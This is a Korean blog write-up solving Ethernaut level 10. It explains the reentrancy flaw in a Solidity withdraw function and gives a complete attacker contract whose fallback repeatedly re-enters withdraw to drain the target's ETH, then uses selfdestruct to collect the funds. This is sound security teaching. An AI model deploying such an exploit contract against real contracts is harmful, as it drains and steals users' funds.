블록체인

[이더넛] 레벨 10 'Re-entrancy' 풀기

orbing 2021. 8. 13. 17:15

[이더넛] 레벨 10 'Re-entrancy' 풀기

 

[목표]

타겟 컨트랙트 Re-entrancy의
모든 잔고를 인출하기.


 

타겟 컨트랙트 코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

 


 

function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

함수 withdraw를 보면 

balances[msg.sender]가 인출 량 _amount 보다 이상인 값인지 확인하고

true이면

msg.sender.call.value(_amount)("");

msg.sender에게 _amount만큼 ETH를 보냅니다.

그리고나서 인출량 만큼 balances[msg.sender]를 감소시킵니다.

 

여기서 3번째 줄

(bool result,) = msg.sender.call.value(_amount)("");

에 허점이 있습니다.

 

msg.sender가 CA이고,

CA의 컨트랙트 내에 fallback 함수가 있다면

fallback 함수를 강제로 실행하게 됩니다.

 

fallback 함수에

Re-entrancy컨트랙트의 withdraw를 호출하는

코드를 작성하면

 

balances[msg.sender]의 잔고가 감소하기 전에

타겟 컨트랙트의 withdraw 함수에 재진입하여 

계속적으로 ETH를 인출 할 수 있습니다.

 

Attack
contract Hack {
   
    address owner;
  
    constructor () public payable {   
        owner = msg.sender; 
    }
    
    
    function attack() public payable {
        Reentrance(0x9F8f32c10CEDEc45aa45bc7a6DCF664C405C84F6).donate{value:100000000000000000}(address(this));
        Reentrance(0x9F8f32c10CEDEc45aa45bc7a6DCF664C405C84F6).withdraw(0.1 ether);
    }
   
    fallback() external payable {
         Reentrance(0x9F8f32c10CEDEc45aa45bc7a6DCF664C405C84F6).withdraw(0.1 ether);
    }

    function ethBalance(address _who) public view returns(uint) {
      return _who.balance;
    }
    
    function kill () public {
        require(msg.sender == owner);
        selfdestruct(payable(owner));
    }
}

contract Hack의

함수 attack은 타겟 컨트랙트의 donate 함수를

호출하여 0.1 이더를 보냅니다.

 

그 다음, withdraw 함수를 호출하여 0.1이더를 인출합니다.

 

 

// 타겟 컨트랙트
function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

 

  • 프로세스1

withdraw를 호출하면

밸런스는 0.1 ETH, _amount도 0.1 ETH

이므로 if문을 통과하고

(bool result,) = msg.sender.call.value(_amount)("");

가 실행되면

0.1 ETH가 msg.sender인 

contract Hack의 CA로 입금되고

 

 

// contract Hack

	fallback() external payable {
         Reentrance(0x9F8f32c10CEDEc45aa45bc7a6DCF664C405C84F6).withdraw(0.1 ether);
    }

contract Hack의 fallback 함수가 실행됩니다.

fallback 함수는 타켓 컨트랙트의 withdraw를 

다시 호출하여 

  • 프로세스1 처음으로 돌아가 재진입합니다. 이렇게 계속해서  0.1 ETH씩 인출합니다.

 

  function kill () public {
        require(msg.sender == owner);
        selfdestruct(payable(owner));
    }

함수 kill은

공격 이후 Hack 컨트랙트로

인출된 ETH를 owner(player)에게

송금 시키기 위한 함수입니다.

 

 

 

공격 실행

공격전 타켓 컨트랙트 잔고 1 ETH
컨트랙트 Hack 초기잔고

 

 

  • 함수 Attack 호출

이 트랙잭션은 함수 호출을 

여러번하기 때문에 

 

통상적으로 사용하는 가스로

트랜잭션을 보내면 가스피가 충분하지 않기 때문에 fail 됩니다.

 

gas fee / gas limit을 넉넉하게 설정해서

트랜잭션을 보냈습니다.

 

 

함수 attak 호출 트랜잭션을 보면

위와 같은 과정을 반복했음을 알 수 있습니다.

이 과정은 가스피가 바닥났을때(out of gas)

종료됩니다.

 

 

 

0으로 감소한 타겟 컨트랙트 잔고

 

이제 타겟 컨트랙트의 잔고는

텅텅 비어버렸습니다.

 

 

 

공격 이후 컨트랙트 Hack 잔고

컨트랙트 Hack는

1.2에서 2.2 Ether로 증가했습니다.

 

 

contract Hack 잘했어. 이제 이더 나 줘 ^^

공격 성공 이후 

컨트랙트 Hack의 ETH 잔고를

player로 가져왔습니다.

 

 

 

타겟 컨트랙트에서

컨트랙트 Hack의 잔고를 확인하면

uint balances 값이 공격 과정에서

언더플로우 되어 매우 큰 값으로

변경되었음을 알 수 있습니다.

 

 

 

 

레벨 10 클리어~!

 

 

Reentrancy Attack

이러한 공격 방식을

Reentrancy Attack(재진입 공격)라고 하며

이 방법은 DAO 해킹 사건때 사용되기도 했습니다.

 

 

 

Reentrancy Attack 방지 코드

https://blog.openzeppelin.com/15-lines-of-code-that-could-have-prevented-thedao-hack-782499e00942/